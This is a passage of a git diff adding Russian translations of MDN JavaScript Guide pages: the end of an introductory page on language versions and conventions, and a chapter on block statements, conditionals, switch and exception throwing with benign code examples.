+ <li><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.6">Новое в JavaScript 1.6</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.7">Новое в JavaScript 1.7</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.8">New in JavaScript 1.8</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.8.1">Новое в JavaScript 1.8.1</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.8.5">Новое в JavaScript 1.8.5</a></li>
+</ul>
+
+<p> </p>
+
+<h2 id="Что_вы_уже_должны_знать">Что вы уже должны знать</h2>
+
+<p>Этот учебник предполагает, что у вас уже имеются некоторые знания и опыт:</p>
+
+<p>Общее понимание, что такое Интернет и всемирная сеть WWW. Знание языка разметки гипертекста (<a href="/en/HTML" title="en/HTML">HTML</a>) также привествуется.</p>
+
+<p>Некоторый опыт программирования на C или Visual Basic будет полезен, но не является обязательным.</p>
+
+<h2 id="Версии_JavaScript">Версии JavaScript</h2>
+
+<table class="standard-table">
+ <caption>Таблица 1. Версии JavaScript и Navigator</caption>
+ <thead>
+  <tr>
+   <th scope="col">Версия JavaScript</th>
+   <th scope="col">Версия Navigator</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>JavaScript 1.0</td>
+   <td>Navigator 2.0</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.1</td>
+   <td>Navigator 3.0</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.2</td>
+   <td>Navigator 4.0-4.05</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.3</td>
+   <td>Navigator 4.06-4.7x</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.4</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.5</td>
+   <td>Navigator 6.0<br>
+    Mozilla (браузер с открытым исходным кодом)</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.6</td>
+   <td><a href="/en/Firefox_1.5_for_developers" title="en/Firefox_1.5_for_developers">Firefox 1.5</a>, другие, основанные на Mozilla 1.8 продукты</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.7</td>
+   <td><a href="/en/Firefox_2_for_developers" title="en/Firefox_2_for_developers">Firefox 2</a>, другие, основанные на Mozilla 1.8.1 продукты</td>
+  </tr>
+  <tr>
+   <td>JavaScript 1.8</td>
+   <td><a href="/en/Firefox_3_for_developers" title="en/Firefox_3_for_developers">Firefox 3</a>, другие, основанные на Mozilla 1.9 продукты</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Каждая версия Netscape Enterprise Server также поддерживает разные версии JavaScript. Чтобы помочь вам писать скрипты совместимые с разными версиями Enterprise Server, это руководство пользуется аббревиатурой, которая однозначно идентифицирует версию сервера, в которой реализована каждая функциональность.</p>
+
+<p><br>
+ <strong style="font-style: inherit; font-weight: 700; line-height: 1.5;"> Таблица 2. Аббревиатуры версий Netscape Enterprise Server</strong></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Abbreviation</th>
+   <th scope="col">Enterprise Server version</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>NES 2.0</td>
+   <td>Netscape Enterprise Server 2.0</td>
+  </tr>
+  <tr>
+   <td>NES 3.0</td>
+   <td>Netscape Enterprise Server 3.0</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Где_найти_информацию_по_JavaScript">Где найти информацию по JavaScript</h2>
+
+<p>Документация JavaScript включает в себя следующие материалы:</p>
+
+<ul>
+ <li><a href="/ru/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Учебник JavaScript</a> (тот учебник, который вы сейчас читаете) содержит информацию о языке JavaScript и его объектах.</li>
+ <li><a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">JavaScript Reference</a> содержит справочный материал по языку JavaScript.</li>
+</ul>
+
+<p>Если вы новичок в JavaScript, то начните с <a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">Учебника </a><a href="/en/JavaScript/Guide" title="en/Core_JavaScript_1.5_Guide">JavaScript</a>. Как только вы усвоили фундаментальные основы, вы можете начать пользоваться <a href="/en/JavaScript/Reference" title="en/JavaScript/Reference">Справочником JavaScript</a>, чтобы получить больше информации об определенных объектах, выражениях и операторах.</p>
+
+<h2 id="Советы_изучающим_JavaScript">Советы изучающим JavaScript</h2>
+
+<p>Начать изучать JavaScript очень легко: все что вам нужно - это современный веб браузер. Этот учебник включает описание некоторых особенностей JavaScript, которые доступны только в самых последних версиях Firefox (и других браузерах основанных на движке Gecko), так что лучше всего воспользоваться самой последней версией Firefox.</p>
+
+<h3 id="Интерактивный_интерпретатор.">Интерактивный интерпретатор.</h3>
+
+<p>Интерактивная строка ввода JavaScript окажет бесценную услугу в изучении языка, так как позволит пробовать все вещи сразу же, вам не потребуется сохранять изменения в файле и обновлять страницу каждый раз. Консоль ошибок Firefox, доступна через меню Инструменты, предлагает простой способ попробовать выполнить JavaScript выражения: просто введите строку с кодом и нажмите кнопку "Evaluate".</p>
+
+<p><img alt="Image:ErrorConsole.png" class="internal" src="/@api/deki/files/192/=ErrorConsole.png"></p>
+
+<h3 id="Firebug">Firebug</h3>
+
+<p>Более продвинутое средство доступно в <a class="external" href="http://www.getfirebug.com/">Firebug</a>. Firebug это расширение Firefox. Хотя в последних версиях Firefox средства отладки становятся более совершенными и такой нужды Firebug уже нет. Выражения которые вы вводите интерпретируются как объекты и связываются c другими частями в Firebug. Например, вы можете сложить 5 плюс 5, заменить буквы в строке со строчных на прописные, получить кликабельную ссылку на документ, или получить ссылку на элемент в документе:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/5188/=FirebugCommandLine.PNG" style="height: 281px; width: 728px;"></p>
+
+<p>Нажав на кнопке со стрелкой в нижнем правом углу вы можете открыть многострочный редактор скриптов.</p>
+
+<p>Firebug также имеет в составе продвинутый инспектор DOM, дебаггер JavaScript, инструменты профилирования и многие другие полезные утилиты. JavaScript код выполняемый на веб странице может вызвать функцию <code>console.log()</code>, которая выведет свой аргумент на консоль Firebug.</p>
+
+<p>Множество примеров в этом учебнике используют функцию <code>alert()</code>, чтобы вывести сообщение во время выполнения скрипта.</p>
+
+<h2 id="Принятые_соглашения_в_документе">Принятые соглашения в документе</h2>
+
+<p>JavaScript приложения выполняются на разных операционных системах; информация в этом учебнике актуальна в любом случае. Пути к директориям или файлам даны в формате Windows (обратный слеш как разделитель). Для версии Юникс, пути точно такие же, за исключением того, что используеся обычный слеш вместо обратного, а также соотвественно корневая директория начинается с '/' а не 'c:/' как это в Windows.</p>
+
+<p>Этот учебник использует единый локатор ресурсов (URL-ы) следующей формы:</p>
+
+<p><code>http://<em>server</em>.<em>domain</em>/<em>path</em>/<em>file</em>.html</code></p>
+
+<p>В этих URL-ах, <em>server</em> - это имя сервера на котором запущено ваше приложение, например <code>research1</code> или <code>www</code>; <em>domain</em> - это имя Internet домена, например <code>netscape.com</code> или <code>uiuc.edu</code>; <em>path</em> - структура директорий на сервере; и <em>file</em><code>.html</code> - имя файла, который расположен на вашем сервере. В общем, элементы выделенные курсивом в URL-ах это метки-заполнители, а элементы выделенные нормальным моноширинным шрифтом точные неизменные значения (например, конфиругацию сервера вы можете изменить, как и сменить доменное имя, структура каталогов может поменяться, а вот протокол всегда один, и расширение файла для  вебстраниц тоже постоянно). Если ваш вебсервер поддерживает Secure Sockets Layer (SSL), то вы можете пользоваться  <code>https</code> вместо <code>http</code> в URL.</p>
+
+<p>Этот учебник пользуется следующим соглашением об использовании шрифтов:</p>
+
+<ul>
+ <li><code>Моноширинный шрифт </code>используется для примеров кода и их вывода, API и элементов языка (например, имена методов или имена свойств), имена файлов, имена директорий, путей, тегов HTML, и любого другого текста, который должен быть выведен на экран. (<code><em>Моноширинный курсивный шрифт</em></code> использован для меток-заменителей встроенных в код.)</li>
+ <li><em>Курсивное начертание </em>использовано для оглавлений, особого выделения, переменных и меток-заменителей, и слов использованых в буквальном смысле.</li>
+ <li><strong>Жирное начертание </strong>использовано для терминов из глоссария.</li>
+</ul>
diff --git a/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html
new file mode 100644
index 0000000000..a7b952b323
--- /dev/null
+++ b/files/ru/web/javascript/guide/control_flow_and_error_handling/index.html
@@ -0,0 +1,371 @@
+---
+title: Порядок выполнения и обработка ошибок
+slug: Web/JavaScript/Guide/Control_flow_and_error_handling
+tags:
+  - Guide
+  - JavaScript
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<p>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</p>
+
+<div class="summary">
+<p>JavaScript поддерживает компактный набор инструкций, особенно управляющих инструкций, которые вы можете использовать, чтобы реализовать интерактивность в вашем приложении. В данной главе дается обзор этих инструкций.</p>
+</div>
+
+<p>Более подробная информация об инструкциях, рассмотренных в данной главе, содержится в <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Statements">справочнике по JavaScript</a>. Точка с запятой ( <code>;</code> ) используется для разделения инструкций в коде.</p>
+
+<p>Любое выражение (expression) в JavaScript является также инструкцией (statement). Чтобы получить более подробную информацию о выражениях, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators">Выражения и операторы</a>.</p>
+
+<h2 id="Инструкция_block">Инструкция block</h2>
+
+<p>Инструкция block является фундаментальной и используется для группировки других инструкций. Блок ограничивается фигурными скобками:</p>
+
+<pre style="font-size: 14px; white-space: normal;">{ statement_1; statement_2; ... statement_n; }</pre>
+
+<p>Блок обычно используется с управляющими инструкциями (например, <code>if</code>, <code>for</code>, <code>while</code>).</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">while</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">&lt;</span> <span class="number token" style="color: #990055;">10</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{ </span>x<span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">++</span><span class="punctuation token" style="color: #999999;">;</span><span class="punctuation token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre>
+
+<p>В вышеприведенном примере <code>{ x++; }</code> является блоком.</p>
+
+<p><strong>Обратите внимание:</strong> в JavaScript <strong>отсутствует</strong> область видимости блока до ECMAScript2015. Переменные, объявленные внутри блока, имеют область видимости функции (или скрипта), в которой находится данный блок, вследствие чего они сохранят свои значения при выходе за пределы блока. Другими словами, блок не создает новую область видимости. "Автономные" (standalone) блоки в JavaScript могут продуцировать полностью отличающийся результат, от результата в языках C или Java. Например:</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">1</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">{
+  </span><span class="keyword token" style="color: #0077aa;">var</span> x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="number token" style="color: #990055;">2</span><span class="punctuation token" style="color: #999999;">;
+</span><span class="punctuation token" style="color: #999999;">}</span>
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span>x<span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span><span class="comment token" style="color: #708090;"> // выведет 2</span></code></pre>
+
+<p>В вышеприведенном примере инструкция <code>var x</code> внутри блока находится в той же области видимости, что и инструкция <code>var x</code> перед блоком. В C или Java эквивалентный код выведет значение 1.</p>
+
+<p>Начиная с ECMAScript 6, оператор <code>let</code> позволяет объявить переменную в области видимости блока. Чтобы получить более подробную информацию, прочитайте {{jsxref("Statements/let", "let")}}.</p>
+
+<h2 id="Условные_инструкции">Условные инструкции</h2>
+
+<p>Условная инструкция — это набор команд, которые выполняются, если указанное условие является истинным. JavaScript поддерживает две условные инструкции: <code style="font-style: normal;">if...else</code> и <code style="font-style: normal;">switch</code>.</p>
+
+<h3 id="Инструкция_if...else">Инструкция if...else</h3>
+
+<p>Используйте оператор <code>if</code> для выполнения инструкции, если логическое условия истинно. Используйте опциональный <code>else</code>, для выполнения инструкции, если условие ложно. Оператор if выглядит так:</p>
+
+<pre class="brush: js notranslate">if (condition) {
+    statement_1;
+} else {
+    statement_2;
+}</pre>
+
+<p>  Здесь <code>condition</code> может быть любым выражением, вычисляемым как истинное (true) или ложное (false). Чтобы получить более подробную информацию о значениях <code>true </code>и <code>false</code>, прочитайте <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Boolean#Description">Boolean</a>. Если условие оценивается как<code> true</code>, то выполняется <code>statement_1</code>, в противном случае -<code> statement_2</code>. Блоки <code>statement_1 </code>и<code> statement_2</code> могут быть любыми блоками, включая также вложенные инструкции <code>if</code>.</p>
+
+<p>Также вы можете объединить несколько инструкций, пользуясь <code>else if</code> для получения последовательности проверок условий:</p>
+
+<pre class="syntaxbox notranslate">if (condition_1) { statement_1;} else if (condition_2) { statement_2;} else if (condition_n) { statement_n; } else { statement_last;}</pre>
+
+<p>В случае нескольких условий только первое логическое условие, которое вычислится истинным (true), будет выполнено. Используйте блок ( <code>{ ... }</code> ) для группировки нескольких инструкций. Применение блоков является хорошей практикой, особенно когда используются вложенные инструкции <code>if</code>:</p>
+
+<pre style="font-size: 14px; white-space: normal;">if (condition) {
+  statement_1_runs_if_condition_is_true;
+  statement_2_runs_if_condition_is_true;
+} else {
+  statement_3_runs_if_condition_is_false;
+  statement_4_runs_if_condition_is_false;
+}</pre>
+
+<p>Нежелательно использовать простые присваивания в условном выражении, т.к. присваивание может быть спутано с равенством при быстром просмотре кода. Например, не используйте следующий код:</p>
+
+<pre class="brush: js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; background-color: rgb(255, 255, 255);"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span>
+</code></pre>
+
+<p>Если вам нужно использовать присваивание в условном выражении, то распространенной практикой является заключение операции присваивания в дополнительные скобки. Например:</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">( </span><span class="punctuation token" style="color: #999999;">(</span>x <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> y<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span><span class="punctuation token"> </span><span class="comment token" style="color: #708090;">/* ... */</span><span class="comment token"> </span><span class="punctuation token" style="color: #999999;">}</span></code></pre>
+
+<h4 id="Ложные_значения">Ложные значения</h4>
+
+<p>Следующие значения являются {{Glossary("Falsy", "ложными")}}:</p>
+
+<ul>
+ <li><code>false</code></li>
+ <li><code>undefined</code></li>
+ <li><code>null</code></li>
+ <li><code>0</code></li>
+ <li><code>NaN</code></li>
+ <li>пустая строка ( <code>""</code> )</li>
+</ul>
+
+<p>Все остальные значения, включая все объекты, будут восприняты как истина при передаче в условное выражение.</p>
+
+<p>Не путайте примитивные логические значения <code>true</code> и <code>false</code> со значениями true и false объекта {{jsxref("Boolean")}}. Например:</p>
+
+<pre class="brush: js notranslate">var b = new Boolean(false);
+if (b) // это условие true
+if (b == true) // это условие false
+</pre>
+
+<p>В следующем примере функция <code>checkData</code> возвращает <code>true</code>, если число символов в объекте <code>Text</code> равно трем; в противном случае функция отображает окно alert и возвращает <code>false</code>.</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> <span class="function token" style="color: #dd4a68;">checkData<span class="punctuation token" style="color: #999999;">(</span></span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">if</span> <span class="punctuation token" style="color: #999999;">(</span>document<span class="punctuation token" style="color: #999999;">.</span>form1<span class="punctuation token" style="color: #999999;">.</span>threeChar<span class="punctuation token" style="color: #999999;">.</span>value<span class="punctuation token" style="color: #999999;">.</span>length <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">==</span> <span class="number token" style="color: #990055;">3</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+    <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="punctuation token" style="color: #999999;">}</span> <span class="keyword token" style="color: #0077aa;">else</span> <span class="punctuation token" style="color: #999999;">{</span>
+    <span class="function token" style="color: #dd4a68;">alert<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Enter exactly three characters. "</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span>
+    document<span class="punctuation token" style="color: #999999;">.</span>form1<span class="punctuation token" style="color: #999999;">.</span>threeChar<span class="punctuation token" style="color: #999999;">.</span>value <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">" is not valid."</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">false</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="punctuation token" style="color: #999999;">}</span>
+<span class="punctuation token" style="color: #999999;">}</span></code></pre>
+
+<h3 id="Инструкция_switch">Инструкция switch</h3>
+
+<p>Инструкция <code>switch</code> позволяет сравнить значение выражения с различными вариантами и при совпадении выполнить соответствующий код. Инструкция имеет следующий вид:</p>
+
+<pre class="notranslate">switch (expression) {
+   case label_1:
+      statements_1
+      [break;]
+   case label_2:
+      statements_2
+      [break;]
+   ...
+   default:
+      statements_default
+      [break;]
+}
+</pre>
+
+<p>Сначала производится поиск ветви <code>case</code> с меткой <code>label</code>, совпадающей со значением выражения <code>expression</code>. Если совпадение найдено, то соответствующий данной ветви код выполняется до оператора <code>break</code>, который прекращает выполнение <code>switch</code> и передает управление дальше. В противном случае управление передается необязательной ветви <code>default</code> и выполняется соответствующий ей код. Если ветвь <code>default</code> не найдена, то программа продолжит выполняться со строчки, следующей за инструкцией <code>switch</code>. По соглашению ветвь <code>default</code> является последней ветвью, но следовать этому соглашению необязательно.</p>
+
+<p>Если оператор <code>break</code> отсутствует, то после выполнения кода, который соответствует выбранной ветви, начнется выполнение кода, который следует за ней.</p>
+
+<p>В следующем примере если <code>fruittype</code> имеет значение <code>"Bananas"</code>, то будет выведено сообщение<code> "Bananas are $0.48 a pound."</code> и оператор <code>break</code> прекратит выполнение <code>switch</code>. Если бы оператор <code>break</code> отсутствовал, то был бы также выполнен код, соответствующий ветви <code>"Cherries"</code>, т.е. выведено сообщение <code>"Cherries are $3.00 a pound."</code>.</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">switch</span> <span class="punctuation token" style="color: #999999;">(</span>fruittype<span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">case</span> <span class="string token" style="color: #669900;">"Oranges"</span><span class="punctuation token" style="color: #999999;">:</span>
+    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Oranges are $0.59 a pound."</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">break</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="keyword token" style="color: #0077aa;">case</span> <span class="string token" style="color: #669900;">"Apples"</span><span class="punctuation token" style="color: #999999;">:</span>
+    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Apples are $0.32 a pound."</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">break</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="keyword token" style="color: #0077aa;">case</span> <span class="string token" style="color: #669900;">"Bananas"</span><span class="punctuation token" style="color: #999999;">:</span>
+    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Bananas are $0.48 a pound."</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">break</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="keyword token" style="color: #0077aa;">case</span> <span class="string token" style="color: #669900;">"Cherries"</span><span class="punctuation token" style="color: #999999;">:</span>
+    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Cherries are $3.00 a pound."</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">break</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="keyword token" style="color: #0077aa;">case</span> <span class="string token" style="color: #669900;">"Mangoes"</span><span class="punctuation token" style="color: #999999;">:</span>
+    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Mangoes are $0.56 a pound."</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">break</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="keyword token" style="color: #0077aa;">case</span> <span class="string token" style="color: #669900;">"Papayas"</span><span class="punctuation token" style="color: #999999;">:</span>
+    console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Mangoes and papayas are $2.79 a pound."</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+    <span class="keyword token" style="color: #0077aa;">break</span><span class="punctuation token" style="color: #999999;">;</span>
+  <span class="keyword token" style="color: #0077aa;">default</span><span class="punctuation token" style="color: #999999;">:</span>
+   console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Sorry, we are out of "</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> fruittype <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">"."</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span>
+console<span class="punctuation token" style="color: #999999;">.</span><span class="function token" style="color: #dd4a68;">log<span class="punctuation token" style="color: #999999;">(</span></span><span class="string token" style="color: #669900;">"Is there anything else you'd like?"</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
+<h2 id="Инструкции_обработки_исключений">Инструкции обработки исключений</h2>
+
+<p>Инструкция <code>throw</code> используется, чтобы выбросить исключение, а инструкция <code>try...catch</code>, чтобы его обработать.</p>
+
+<h3 id="Типы_исключений">Типы исключений</h3>
+
+<p>Практически любой объект может быть выброшен как исключение. Тем не менее, не все выброшенные объекты создаются равными. Обычно числа или строки выбрасываются как исключения, но часто более эффективным является использование одного из типов исключений, специально созданных для этой цели:</p>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Error#Error_types">Исключения ECMAScript</a></li>
+ <li>{{domxref("DOMException")}} и {{domxref("DOMError")}}</li>
+</ul>
+
+<h3 id="Инструкция_throw">Инструкция throw</h3>
+
+<p>Используйте инструкцию <code>throw</code>, чтобы выбросить исключение. При выбросе исключения нужно указать выражение, содержащее значение, которое будет выброшено:</p>
+
+<pre style="font-size: 14px; white-space: normal;">throw expression;</pre>
+
+<p>Вы можете выбросить любое выражение, а не только выражения определенного типа. В следующем примере выбрасываются исключения различных типов:</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">throw</span> <span class="string token" style="color: #669900;">"Error2"</span><span class="punctuation token" style="color: #999999;">;</span>  <span class="comment token" style="color: #708090;">                                            // string
+</span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="number token" style="color: #990055;">42</span><span class="punctuation token" style="color: #999999;">;</span>        <span class="comment token" style="color: #708090;">                                            // number
+</span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="keyword token" style="color: #0077aa;">true</span><span class="punctuation token" style="color: #999999;">;</span>      <span class="comment token" style="color: #708090;">                                            // boolean
+</span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="punctuation token" style="color: #999999;">{ </span>toString<span class="punctuation token" style="color: #999999;">:</span> <span class="keyword token" style="color: #0077aa;">function</span><span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span> <span class="keyword token" style="color: #0077aa;">return</span> <span class="string token" style="color: #669900;">"I'm an object!"</span><span class="punctuation token" style="color: #999999;">;</span> <span class="punctuation token" style="color: #999999;">}</span> <span class="punctuation token" style="color: #999999;">}</span><span class="punctuation token" style="color: #999999;">; </span></code><code class="language-js" style="direction: ltr; white-space: pre;"><span class="comment token" style="color: #708090;">// object</span></code></pre>
+
+<div class="note"><strong>Примечание:</strong> Вы можете выбросить объект как исключение. Вы можете обращаться к свойствам данного объекта в блоке <code>catch</code>.</div>
+
+<p class="note">В следующем примере объект <code>UserException</code> выбрасывается как исключение:</p>
+
+<pre class="brush: js  language-js notranslate" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal;"><code class="language-js" style="direction: ltr; white-space: pre;"><span class="keyword token" style="color: #0077aa;">function</span> UserException <span class="punctuation token" style="color: #999999;">(</span>message<span class="punctuation token" style="color: #999999;">) </span><span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>message <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">= </span>message<span class="punctuation token" style="color: #999999;">;</span>
+  <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>name <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">= </span><span class="string token" style="color: #669900;">"UserException"</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span>
+<span class="comment token" style="color: #708090;">
+</span>UserException<span class="punctuation token" style="color: #999999;">.</span>prototype<span class="punctuation token" style="color: #999999;">.</span>toString <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">=</span> <span class="keyword token" style="color: #0077aa;">function</span> <span class="punctuation token" style="color: #999999;">(</span><span class="punctuation token" style="color: #999999;">)</span> <span class="punctuation token" style="color: #999999;">{</span>
+  <span class="keyword token" style="color: #0077aa;">return</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>name <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">': "'</span> <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="keyword token" style="color: #0077aa;">this</span><span class="punctuation token" style="color: #999999;">.</span>message <span class="operator token" style="background: rgba(255, 255, 255, 0.498039); color: #a67f59;">+</span> <span class="string token" style="color: #669900;">'"'</span><span class="punctuation token" style="color: #999999;">;</span>
+<span class="punctuation token" style="color: #999999;">}</span>
+<span class="comment token" style="color: #708090;">
+</span><span class="keyword token" style="color: #0077aa;">throw</span> <span class="keyword token" style="color: #0077aa;">new</span> <span class="class-name token">UserException</span><span class="punctuation token" style="color: #999999;">(</span><span class="string token" style="color: #669900;">"Value too high"</span><span class="punctuation token" style="color: #999999;">)</span><span class="punctuation token" style="color: #999999;">;</span></code></pre>
+
